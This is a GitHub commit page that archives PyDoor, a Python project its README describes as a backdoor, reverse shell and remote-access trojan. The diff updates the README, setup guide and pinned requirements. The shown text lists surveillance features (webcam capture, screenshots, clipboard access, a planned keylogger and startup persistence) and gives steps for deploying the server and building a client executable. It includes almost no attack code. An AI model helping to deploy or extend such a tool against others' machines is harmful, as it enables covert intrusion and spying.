Skip to content
This repository has been archived by the owner on Jul 20, 2024. It is now read-only.

Commit

Permalink
Prepare archive
Browse files Browse the repository at this point in the history
Change logging level to critical.

requirements.txt should contain versions, since in the future the packages will get updates and our code might stop working.

Add archived block to README.md
  • Loading branch information
tidely committed Jul 20, 2024
1 parent b8f276a commit bf455cf
Show file tree
Hide file tree
Showing 4 changed files with 128 additions and 125 deletions.
178 changes: 91 additions & 87 deletions README.md
Original file line number Diff line number Diff line change
@@ -1,87 +1,91 @@
# PyDoor

Encrypted Backdoor/Reverse Shell/RAT written in Python.

## Cross-Platform Features

* Multi-client support
* TLSv1.3 Encryption
* Real-time Shell
* Python Interpreter
* File Transfer
* Copy/Paste Clipboard
* Capture Webcam
* Take Screenshots
* File Downloader
* Background Tasks
* Restart Sessions

## Windows Specific Features

* Lock Client Machines

Windows Specific Features can be done manually on other OS's

## Feature Roadmap

* Threaded Shell
* Broadcasting commands
* Keylogger
* Adding Client to Startup (Windows)

## Installation

You will need:

* [Python 3.10+](https://www.python.org/downloads)

1. Download the repository via github or git eg. `git clone https://github.com/Y4hL/PyDoor`
2. Install the required modules by running `python -m pip install -r requirements.txt`

## Usage

Run server:
`python3 server.py`

Run client:
`python3 client.py`

## FAQ

### Setup Remote Server

Read [setup.md](https://github.com/Y4hL/PyDoor/blob/master/setup.md#server-setup)

### Connect to Remote Server

Read [setup.md](https://github.com/Y4hL/PyDoor/blob/master/setup.md#client-setup)

### See available commands

type `help`

### Run commands as root

`echo SUDOPASSWORD | sudo -S COMMAND`

### See Importable packages in python interpreter

`help("modules")`

## Help

If you need any help at all, feel free to post a "help" issue.

## Contributing

Contributing is encouraged and will help make a better program. Please refer to [this](https://gist.github.com/MarcDiethelm/7303312) before contributing.

## Disclaimer

For educational purposes only! I am not responsible for anything you do with it.

## License

[License](https://github.com/Y4hL/PyDoor/blob/master/LICENSE)

Project heavily inspired by [buckyroberts/Turtle](https://github.com/buckyroberts/Turtle) and [xp4xbox/Python-Backdoor](https://github.com/xp4xbox/Python-Backdoor)
# PyDoor

Encrypted Backdoor/Reverse Shell/RAT written in Python.

## Reposity is archived!

This repository was archived because no real development has been happening for a long time. PyDoor was a great experience for learning python. It's quite outdated now and there are infinite ways I would improve on the project if I made it today, but everybody starts somewhere right.

## Cross-Platform Features

* Multi-client support
* TLSv1.3 Encryption
* Real-time Shell
* Python Interpreter
* File Transfer
* Copy/Paste Clipboard
* Capture Webcam
* Take Screenshots
* File Downloader
* Background Tasks
* Restart Sessions

## Windows Specific Features

* Lock Client Machines

Windows Specific Features can be done manually on other OS's

## Feature Roadmap

* Threaded Shell
* Broadcasting commands
* Keylogger
* Adding Client to Startup (Windows)

## Installation

You will need:

* [Python 3.10+](https://www.python.org/downloads)

1. Download the repository via github or git eg. `git clone https://github.com/tidely/PyDoor`
2. Install the required modules by running `python3 -m pip install -r requirements.txt`

## Usage

Run server:
`python3 server.py`

Run client:
`python3 client.py`

## FAQ

### Setup Remote Server

Read [setup.md](./setup.md#server-setup)

### Connect to Remote Server

Read [setup.md](./setup.md#client-setup)

### See available commands

type `help`

### Run commands as root

`echo SUDOPASSWORD | sudo -S COMMAND`

### See Importable packages in python interpreter

`help("modules")`

## Help

If you need any help at all, feel free to post a "help" issue.

## Contributing

Contributing is encouraged and will help make a better program. Please refer to [this](https://gist.github.com/MarcDiethelm/7303312) before contributing.

## Disclaimer

For educational purposes only! I am not responsible for anything you do with it.

## License

[License](./LICENSE)

Project heavily inspired by [buckyroberts/Turtle](https://github.com/buckyroberts/Turtle) and [xp4xbox/Python-Backdoor](https://github.com/xp4xbox/Python-Backdoor)
16 changes: 8 additions & 8 deletions requirements.txt
Original file line number Diff line number Diff line change
@@ -1,8 +1,8 @@
cryptography
pyscreeze
pyperclip
psutil
pynput
requests
opencv-python
colorama
cryptography==42.0.8
pyscreeze==0.1.30
pyperclip==1.9.0
psutil==6.0.0
pynput==1.7.7
requests==2.31.0
opencv-python==4.10.0.84
colorama==0.4.6
2 changes: 1 addition & 1 deletion server/server.py
Original file line number Diff line number Diff line change
Expand Up @@ -26,7 +26,7 @@
with suppress(ImportError):
import readline

logging.basicConfig(level=logging.DEBUG)
logging.basicConfig(level=logging.CRITICAL)
socket.setdefaulttimeout(10)

DEFAULT_PROMPT = "> "
Expand Down
57 changes: 28 additions & 29 deletions setup.md
Original file line number Diff line number Diff line change
@@ -1,29 +1,28 @@
# Setup

## Server Setup

### Static IP

Get a static public IP address, either from your ISP or using software like [noip](https://www.noip.com/).

### Port forwarding

Setup [Port forwarding](https://en.wikipedia.org/wiki/Port_forwarding) in your router settings

### Choose server port

Choose a server port in [server.py](https://github.com/Y4hL/PyDoor/blob/master/server/server-cli.py)

## Client Setup

### Configure Connection

Change server host in [client.py](https://github.com/Y4hL/PyDoor/blob/master/client/client.py) to Server IP or URL

Change server port to Server Port

### build exe (optional)

`cd Client`
`python setup.py build`

# Setup

## Server Setup

### Static IP

Get a static public IP address, either from your ISP or using software like [noip](https://www.noip.com/).

### Port forwarding

Setup [Port forwarding](https://en.wikipedia.org/wiki/Port_forwarding) in your router settings

### Choose server port

Choose a server port in [server.py](https://github.com/tidely/PyDoor/blob/master/server/server-cli.py)

## Client Setup

### Configure Connection

Change server host in [client.py](https://github.com/tidely/PyDoor/blob/master/client/client.py) to Server IP or URL

Change server port to Server Port

### build exe (optional)

`cd Client`
`python setup.py build`

0 comments on commit bf455cf

Please sign in to comment.